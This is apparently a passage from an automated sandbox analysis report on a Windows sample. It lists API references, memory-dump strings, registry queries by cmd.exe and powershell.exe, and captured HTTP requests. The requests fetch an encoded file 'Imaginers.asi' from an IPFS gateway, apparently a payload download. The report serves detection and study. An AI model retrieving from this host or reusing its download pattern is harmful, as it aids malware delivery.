"GetFileSizeEx"; Source: "00000000-00004824.00000001.135190.6EDC5000.00000002.mdmp, 00000000-00004824.00000002.137113.6E7D1000.00000002.mdmp") Found reference to API (Indicator: "GetTempPathW"; Source: "00000000-00004824.00000001.135190.6EDC5000.00000002.mdmp") Found reference to API (Indicator: "GetSystemDirectoryW"; Source: "00000000-00004824.00000001.135190.6EDC5000.00000002.mdmp, 00000000-00004824.00000002.137113.6E7D1000.00000002.mdmp") Found reference to API (Indicator: "DisableThreadLibraryCalls"; Source: "00000000-00004824.00000001.135190.6EDC5000.00000002.mdmp, 00000000-00004824.00000002.137113.6E7D1000.00000002.mdmp") Found reference to API (Indicator: "EncodePointer"; Source: "00000000-00004824.00000001.135190.6EDC5000.00000002.mdmp, 00000000-00004824.00000002.137113.6E7D1000.00000002.mdmp") Found reference to API (Indicator: "DecodePointer"; Source: "00000000-00004824.00000001.135190.6EDC5000.00000002.mdmp, 00000000-00004824.00000002.137113.6E7D1000.00000002.mdmp") Found reference to API (Indicator: "SizeofResource"; Source: "00000000-00004824.00000001.135190.6EDC5000.00000002.mdmp, 00000000-00004824.00000002.137113.6E7D1000.00000002.mdmp") Found reference to API (Indicator: "LockResource"; Source: "00000000-00004824.00000001.135190.6EDC5000.00000002.mdmp, 00000000-00004824.00000002.137113.6E7D1000.00000002.mdmp") Found reference to API (Indicator: "FindResourceW"; Source: "00000000-00004824.00000001.135190.6EDC5000.00000002.mdmp, 00000000-00004824.00000002.137113.6E7D1000.00000002.mdmp") Found reference to API (Indicator: "HeapFree"; Source: "00000000-00004824.00000001.135190.6EDC5000.00000002.mdmp, 00000000-00004824.00000002.137113.6E7D1000.00000002.mdmp") Found reference to API (Indicator: "HeapAlloc"; Source: "00000000-00004824.00000001.135190.6EDC5000.00000002.mdmp, 00000000-00004824.00000002.137113.6E7D1000.00000002.mdmp") Found reference to API (Indicator: "GetProcessHeap"; Source: "00000000-00004824.00000001.135190.6EDC5000.00000002.mdmp, 00000000-00004824.00000002.137113.6E7D1000.00000002.mdmp") Found reference to API (Indicator: "RtlGetVersion"; Source: "00000000-00004824.00000001.135190.6EDC5000.00000002.mdmp, 00000000-00004824.00000002.137113.6E7D1000.00000002.mdmp") Found reference to API (Indicator: "RtlNtStatusToDosError"; Source: "00000000-00004824.00000001.135190.6EDC5000.00000002.mdmp, 00000000-00004824.00000002.137113.6E7D1000.00000002.mdmp")29:T6af,Found string "Format-Custom" (Indicator: "Format-Custom"; Source: "00000000-00004824.00000000.133271.04CE0000.00000004.mdmp") Found string "Format-List" (Indicator: "Format-List"; Source: "00000000-00004824.00000000.133271.04CE0000.00000004.mdmp") Found string "Format-Table" (Indicator: "Format-Table"; Source: "00000000-00004824.00000000.133271.04CE0000.00000004.mdmp") Found string "Format-Wide" (Indicator: "Format-Wide"; Source: "00000000-00004824.00000000.133271.04CE0000.00000004.mdmp") Found string "Convert-Path" (Indicator: "Convert-Path"; Source: "00000000-00004824.00000000.133271.04CE0000.00000004.mdmp") Found string "Export-Alias" (Indicator: "Export-Alias"; Source: "00000000-00004824.00000000.133271.04CE0000.00000004.mdmp") Found string "Export-Csv" (Indicator: "Export-Csv"; Source: "00000000-00004824.00000000.133271.04CE0000.00000004.mdmp") Found string "Export-ModuleMember" (Indicator: "Export-ModuleMember"; Source: "00000000-00004824.00000000.133271.04CE0000.00000004.mdmp") Found string "Export-Console" (Indicator: "Export-Console"; Source: "00000000-00004824.00000000.133271.04CE0000.00000004.mdmp") Found string "file, use Export-Console in Windows PowerShell." (Indicator: "Export-Console"; Source: "00000000-00004824.00000000.133271.04CE0000.00000004.mdmp") Found string "# .{ $i;$i;$i;$i64 } | format-hex" (Indicator: "Format-Hex"; Source: "00000000-00004824.00000001.135190.08940000.00000004.mdmp, 00000000-00004824.00000002.137113.08940000.00000004.mdmp") Found string "function ConvertFrom-SddlString" (Indicator: "ConvertFrom-SddlString"; Source: "00000000-00004824.00000001.135190.08940000.00000004.mdmp, 00000000-00004824.00000002.137113.08940000.00000004.mdmp")2a:T1bc0,Heuristic match: ";;siiit111-rrrpqqqaiiitg.gh" Pattern match: "https://bafybeibqyvewhos3vnh3vkiiy4krrng3dpn5c2vweia5mdfixsetut7tce.ipfs.dweb.link/imaginers.asiaccess-co" Pattern match: "http://schemas.microsoft.com/smi/2016/windowssettings" Pattern match: "microsoft.net/framework/v4.0.30319/" Heuristic match: "t.net" Pattern match: "http://ocsp.thawte.com0" Pattern match: "https://www.thawte.com/cps07" Pattern match: "http://crl.thawte.com/thawtepca-g3.crl0" Pattern match: "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name" Pattern match: "http://schemas.microsoft.com/ws/2008/06/identity/claims/groupsid" Pattern match: "http://www.w3.org/2001/xmlschema#string" Pattern match: "http://schemas.microsoft.com/ws/2008/06/identity/claims/role" Pattern match: "microsoft.net/assembly/gac_msil/system.management.automation/v4.0_3.0.0.0__31bf3856ad364e35/system.management.automation.dll" Pattern match: "http://schemas.microsoft.com/powershell/microsoft.powershell" Heuristic match: "set-location $myinvocation.mycommand.name" Pattern match: "https://go.microsoft.com/fwlink/?linkid=225750" Pattern match: "https://go.microsoft.com/fwlink/?linkid=225747" Heuristic match: "get-content $file | more.com" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113316" Pattern match: "https://go.microsoft.com/fwlink/?linkid=160712" Pattern match: "microsoft.net/assembly/gac_msil/microsoft.powershell.consolehost/v4.0_3.0.0.0__31bf3856ad364e35/microsoft.powershell.consolehost.dll" Pattern match: "microsoft.net/assembly/gac_msil/microsoft.powershell.security/v4.0_3.0.0.0__31bf3856ad364e35/microsoft.powershell.security.dll" Heuristic match: "$this.resolvedcommand.name" Heuristic match: "$this.name + -> + $this.resolvedcommand.name" Heuristic match: "$this.name" Heuristic match: "$this.userinfo.identity.name" Heuristic match: "$this.userinfo.windowsidentity.name" Heuristic match: "$commandname = $this.name" Heuristic match: "$_.subjectname.name" Heuristic match: "$_.issuername.name" Heuristic match: "ntrust.net" Heuristic match: "microsoft-windows-client-features-package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Heuristic match: "microsoft-windows-client-features-wow64-package0017~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Heuristic match: "bf3856ad364e35~amd64~~10.0.16299.15.cat" Pattern match: "http://crl.comodoca.com/comodorsacertificationauthority.crl0q" Pattern match: "http://crt.comodoca.com/comodorsaaddtrustca.crt0$" Pattern match: "http://ocsp.comodoca.com0" Pattern match: "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0v" Pattern match: "crt.usertrust.com/usertrustrsaaddtrustca.crt0%" Pattern match: "http://ocsp.usertrust.com0" Pattern match: "http://certs.godaddy.com/repository/1301" Pattern match: "http://ocsp.godaddy.com/05" Pattern match: "http://crl.godaddy.com/gdroot-g2.crl0f" Pattern match: "https://certs.godaddy.com/repository/0" Pattern match: "https://www.alphassl.com/repository/03" Pattern match: "http://crl.globalsign.net/root.crl0=" Pattern match: "http://ocsp.globalsign.com/rootr10" Pattern match: "http://g1.symcb.com/crls/gtglobal.crl0/" Pattern match: "http://g2.symcb.com0l" Pattern match: "http://www.geotrust.com/resources/cps0" Pattern match: "www.digicert.com1+0" Pattern match: "www.digicert.com1/0-" Pattern match: "http://ocsp.digicert.com0k" Pattern match: "http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=" Pattern match: "https://www.digicert.com/cps0" Pattern match: "https://www.globalsign.com/repository/03" Pattern match: "http://s2.symcb.com0" Pattern match: "http://www.symauth.com/cps0" Pattern match: "http://www.symauth.com/rpa00" Pattern match: "http://s1.symcb.com/pca3-g5.crl0" Pattern match: "www.digicert.com1" Pattern match: "http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=" Pattern match: "crl.usertrust.com/addtrustexternalcaroot.crl05" Pattern match: "http://s2.symcb.com0k" Pattern match: "http://www.symauth.com/rpa0" Pattern match: "http://crl.globalsign.net/root-r2.crl0" Pattern match: "www.verisign.com/cps" Pattern match: "https://www.verisign.com/cps04" Pattern match: "http://crl.verisign.com/pca3.crl0" Pattern match: "crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^" Pattern match: "www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0" Pattern match: "www.digicert.com1$0" Pattern match: "www.microsoft.com/pkiops/docs/repository.htm" Pattern match: "http://logo.verisign.com/vslogo.gif0" Pattern match: "http://cert.startcom.org/sfsca-crl.crl0+" Pattern match: "http://crl.startcom.org/sfsca-crl.crl0" Pattern match: "http://cert.startcom.org/policy.pdf05" Pattern match: "http://cert.startcom.org/intermediate.pdf0" Pattern match: "http://cert.startcom.org/policy.pdf0" Pattern match: "7www.entrust.net/cps_2048" Pattern match: "http://www.certplus.com/crl/class2.crl0" Pattern match: "http://crl.securetrust.com/stca.crl0" Pattern match: "www.entrust.net/legal-terms1907" Pattern match: "0www.entrust.net/cps" Pattern match: "crl.comodoca.com/aaacertificateservices.crl06" Pattern match: "crl.comodo.net/aaacertificateservices.crl0" Pattern match: "www.digicert.com1!0" Pattern match: "http://repository.swisssign.com/0" Pattern match: "http://www.microsoft.com0" Pattern match: "crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0" Pattern match: "www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0" Pattern match: "crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0z" Pattern match: "http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07" Pattern match: "www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0a" Pattern match: "www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0" Pattern match: "crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0z" Pattern match: "http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0" Heuristic match: "5~amd64~~10.0.16299.15.cat" Pattern match: "http://go.microsoft.com/fwlink/?linkid=42127" Pattern match: "microsoft.net/assembly/gac_32/mscorlib/v4.0_4.0.0.0__b77a5c561934e089/mscorlib.dll" Pattern match: "http://www.microsoft.com/pki/certs/microoceraut" Pattern match: "crl.microsoft.com/pki/crl/products/microsofttimestamppca.crl0x" Pattern match: "http://www.microsoft.com/pki/certs/microsofttimestamppca.crt0" Pattern match: "crl.microsoft.com/pki/crl/products/miccodsigpca_08-31-2010.crl0z" Pattern match: "http://www.microsoft.com/pki/certs/miccodsigpca_08-31-2010.crt0" Pattern match: "https://go.microsoft.com/fwlink/?linkid=623621" Pattern match: "https://go.microsoft.com/fwlink/?linkid=623636" Heuristic match: "## all the types of access rights understood by .net" Heuristic match: "cim_operatingsystem.name" Pattern match: "go.microsoft.com/fwlink/?linkid=851034&clcid=0x409&" Pattern match: "https://wdcp.microsoft.com/wdcp.svc/submitreport" Pattern match: "http://www.microsoft.com/powershell" Pattern match: "http://www.validationtest.contoso.com/test%d.html"2b:Tc7a,"GET /Imaginers.asi HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:144.0) Gecko/20100101 Firefox/144.0 Host: bafybeibqyvewhos3vnh3vkiiy4krrng3dpn5c2vweia5mdfixsetut7tce.ipfs.w3s.link Connection: Keep-Alive" Response ==> HTTP/1.1 307 Temporary Redirect Date: Mon 10 Nov 2025 09:13:59 GMT Content-Length: 0 Connection: keep-alive CF-RAY: 99c46fdc2befc38b-SJC Location: https://bafybeibqyvewhos3vnh3vkiiy4krrng3dpn5c2vweia5mdfixsetut7tce.ipfs.dweb.link/Imaginers.asi Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Link content-security-policy: default-src 'self' 'unsafe-inline' 'unsafe-eval' blob: data: https://*.storacha.link https://*.w3s.link https://*.nftstorage.link https://*.dweb.link https://ipfs.io/ipfs/ https://*.githubusercontent.com https://*.storacha.network ; form-action 'self'; navigate-to 'self'; connect-src 'self' blob: data: https://*.storacha.link https://*.w3s.link https://*.nftstorage.link https://*.dweb.link https://ipfs.io/ipfs/ https://*.githubusercontent.com https://*.storacha.network ; report-to csp-endpoint ; report-uri https://csp-report-to.web3.storage reporting-endpoints: csp-endpoint="https://csp-report-to.web3.storage" Set-Cookie: __cf_bm=lBPaPjgzv1_eOFW2Fx6nz_QHVIEemYS9QAFjLMCvlUc-1762766039-1.0.1.1-qiqMatZqsoDMffylT6_.F1L..183EmmDhmcCtaToITjrAYR9MSo1GVgiECork4pixrHaMdySstJyyUt5o_mHpOEkagvu4kzBryBuhjlWv4Y; path=/; expires=Mon 10-Nov-25 09:43:59 GMT; domain=.w3s.link; HttpOnly; Secure; SameSite=None Server: cloudflare with no response body "GET /Imaginers.asi HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:144.0) Gecko/20100101 Firefox/144.0 Host: bafybeibqyvewhos3vnh3vkiiy4krrng3dpn5c2vweia5mdfixsetut7tce.ipfs.dweb.link Connection: Keep-Alive" Response ==> HTTP/1.1 200 OK Date: Mon 10 Nov 2025 09:13:59 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 421228 Connection: keep-alive Server: cloudflare CF-Ray: 99c46fe04c8b0c77-SJC CF-Cache-Status: HIT Accept-Ranges: bytes Access-Control-Allow-Origin: * Age: 93085 Cache-Control: public max-age=29030400 immutable ETag: "bafkreigxqb4pknpror67p3ujmxjcir7ysc4vbxu3uvnbdaccevfyh4qcte" Vary: Accept-Encoding access-control-allow-headers: Content-Type access-control-allow-headers: Range access-control-allow-headers: User-Agent access-control-allow-headers: X-Requested-With access-control-allow-methods: GET access-control-allow-methods: HEAD access-control-allow-methods: OPTIONS access-control-expose-headers: Content-Length access-control-expose-headers: Content-Range access-control-expose-headers: X-Chunked-Output access-control-expose-headers: X-Ipfs-Path access-control-expose-headers: X-Ipfs-Roots access-control-expose-headers: X-Stream-Output x-ipfs-path: /ipfs/bafybeibqyvewhos3vnh3vkiiy4krrng3dpn5c2vweia5mdfixsetut7tce/Imaginers.asi x-ipfs-pop: rainbow-sv15-01 x-ipfs-roots: bafybeibqyvewhos3vnh3vkiiy4krrng3dpn5c2vweia5mdfixsetut7tce bafkreigxqb4pknpror67p3ujmxjcir7ysc4vbxu3uvnbdaccevfyh4qcte X-Robots-Tag: noindex nofollow alt-svc: h3=":443"; ma=86400 with response body ==>34343A32623A32663A36623A33363A37383A37613A36313A35383A37613A35363A37393A33383A34363A34333A34623A34383A35613A35323A36323A33353A34.......2c:T499,Found reference to API "VerSetConditionMask" (Indicator: "VerSetConditionMask"; Source: "00000000-00004824.00000000.133271.00391000.00000002.mdmp") Found reference to API "VerifyVersionInfoW" (Indicator: "VerifyVersionInfo"; Source: "00000000-00004824.00000000.133271.00391000.00000002.mdmp") Found reference to API "GetVersionExW" (Indicator: "GetVersionExW"; Source: "00000000-00004824.00000000.133271.00391000.00000002.mdmp, 00000000-00004824.00000001.135190.6EDC5000.00000002.mdmp, 00000000-00004824.00000002.137113.6E7D1000.00000002.mdmp") Found reference to API "GetVersionExW" (Indicator: "GetVersion"; Source: "00000000-00004824.00000000.133271.00391000.00000002.mdmp, 00000000-00004824.00000001.135190.6EDC5000.00000002.mdmp, 00000000-00004824.00000002.137113.6E7D1000.00000002.mdmp") Found reference to API "[System.Diagnostics.FileVersionInfo]::GetVersionInfo($this.FullName)" (Indicator: "GetVersion"; Source: "00000000-00004824.00000000.133271.04CE0000.00000004.mdmp") Found reference to API "RtlGetVersion" (Indicator: "GetVersion"; Source: "00000000-00004824.00000001.135190.6EDC5000.00000002.mdmp, 00000000-00004824.00000002.137113.6E7D1000.00000002.mdmp")2d:T504,"powershell.exe" trying to access file "C:\Windows\System32\WindowsPowerShell\v1.0\PROFILE.PS1" "powershell.exe" trying to access file "C:\Windows\System32\WindowsPowerShell\v1.0\MICROSOFT.POWERSHELL_PROFILE.PS1" "powershell.exe" trying to access file "C:\Users\%OSUSER%\Documents\WINDOWSPOWERSHELL\PROFILE.PS1" "powershell.exe" trying to access file "C:\Users\%OSUSER%\Documents\WINDOWSPOWERSHELL\MICROSOFT.POWERSHELL_PROFILE.PS1" "powershell.exe" trying to access file "%WINDIR%\System32\WindowsPowerShell\v1.0\PROFILE.PS1" "powershell.exe" trying to access file "%WINDIR%\System32\WindowsPowerShell\v1.0\MICROSOFT.POWERSHELL_PROFILE.PS1" "powershell.exe" trying to access file "%USERPROFILE%\Documents\WINDOWSPOWERSHELL\PROFILE.PS1" "powershell.exe" trying to access file "%USERPROFILE%\Documents\WINDOWSPOWERSHELL\MICROSOFT.POWERSHELL_PROFILE.PS1" "powershell.exe" trying to access file "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\PROFILE.PS1" "powershell.exe" trying to access file "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\MICROSOFT.POWERSHELL_PROFILE.PS1" "powershell.exe" trying to access file "%WINDIR%\SysWOW64\WindowsPowerShell\v1.0\PROFILE.PS1" "powershell.exe" trying to access file "%WINDIR%\SysWOW64\WindowsPowerShell\v1.0\MICROSOFT.POWERSHELL_PROFILE.PS1"2e:Taee,"cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "RESOURCEPOLICIES"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CONHOST.EXE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: "LONGPATHSENABLED"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: "PREFERREDUILANGUAGES"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED"; Key: "MACHINEPREFERREDUILANGUAGES"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SIDEBYSIDE"; Key: "PREFEREXTERNALMANIFEST"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "SAFEDLLSEARCHMODE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\FIPSALGORITHMPOLICY"; Key: "ENABLED"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA"; Key: "FIPSALGORITHMPOLICY"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\FIPSALGORITHMPOLICY"; Key: "MDMENABLED"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "PAGEALLOCATORUSESYSTEMHEAP"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "PAGEALLOCATORSYSTEMHEAPISPRIVATE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "AGGRESSIVEMTATESTING"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\GRE_INITIALIZE"; Key: "DISABLEMETAFILES"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: "ENABLEPERPROCESSSYSTEMDPI"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\COMPATIBILITY32"; Key: "CMD"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS"; Key: "LOADAPPINIT_DLLS"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SYSTEM"; Key: "DISABLECMD"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\COMMAND PROCESSOR"; Key: "DISABLEUNCCHECK"; Value: "")2f:T55b,Contains base64 string in header "ipfs" in header "GET /Imaginers.asi HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:144.0) Gecko/20100101 Firefox/144.0Host: bafybeibqyvewhos3vnh3vkiiy4krrng3dpn5c2vweia5mdfixsetut7tce.ipfs.w3s.linkConnection: Keep-Alive" Contains base64 string in header "Keep" in header "GET /Imaginers.asi HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:144.0) Gecko/20100101 Firefox/144.0Host: bafybeibqyvewhos3vnh3vkiiy4krrng3dpn5c2vweia5mdfixsetut7tce.ipfs.w3s.linkConnection: Keep-Alive" Contains base64 string in header "ipfs" in header "GET /Imaginers.asi HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:144.0) Gecko/20100101 Firefox/144.0Host: bafybeibqyvewhos3vnh3vkiiy4krrng3dpn5c2vweia5mdfixsetut7tce.ipfs.dweb.linkConnection: Keep-Alive" Contains base64 string in header "dweb" in header "GET /Imaginers.asi HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:144.0) Gecko/20100101 Firefox/144.0Host: bafybeibqyvewhos3vnh3vkiiy4krrng3dpn5c2vweia5mdfixsetut7tce.ipfs.dweb.linkConnection: Keep-Alive" Contains base64 string in header "Keep" in header "GET /Imaginers.asi HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:144.0) Gecko/20100101 Firefox/144.0Host: bafybeibqyvewhos3vnh3vkiiy4krrng3dpn5c2vweia5mdfixsetut7tce.ipfs.dweb.linkConnection: Keep-Alive"30:T8f2,"cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CONHOST.EXE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\WINDOWSPOWERSHELL\V1.0\POWERSHELL.EXE"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "HOSTNAME"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "DOMAIN"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "WINSOCK_REGISTRY_VERSION"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "NAMESPACE_CALLOUT"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "SERIAL_ACCESS_NUM"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "NEXT_CATALOG_ENTRY_ID"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "NUM_CATALOG_ENTRIES64"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000001"; Key: "PACKEDCATALOGITEM"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000002"; Key: "PACKEDCATALOGITEM"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000003"; Key: "PACKEDCATALOGITEM"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000004"; Key: "PACKEDCATALOGITEM"; Value: "")31:T57c,"cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LEVELS") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "DEFAULTLEVEL") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "SAFERFLAGS") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "POLICYSCOPE") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LOGFILENAME") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LEVELS") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "DEFAULTLEVEL") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "SAFERFLAGS") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "POLICYSCOPE") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LOGFILENAME")32:Ta0f,"powershell.exe" (Access type: "QUERY"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES"; Key: ""; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "ENABLEDHCP"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "REGISTRATIONENABLED"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "REGISTERADAPTERNAME"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DOMAIN"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DHCPDOMAIN"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "REGISTRATIONENABLED"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "REGISTERADAPTERNAME"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: 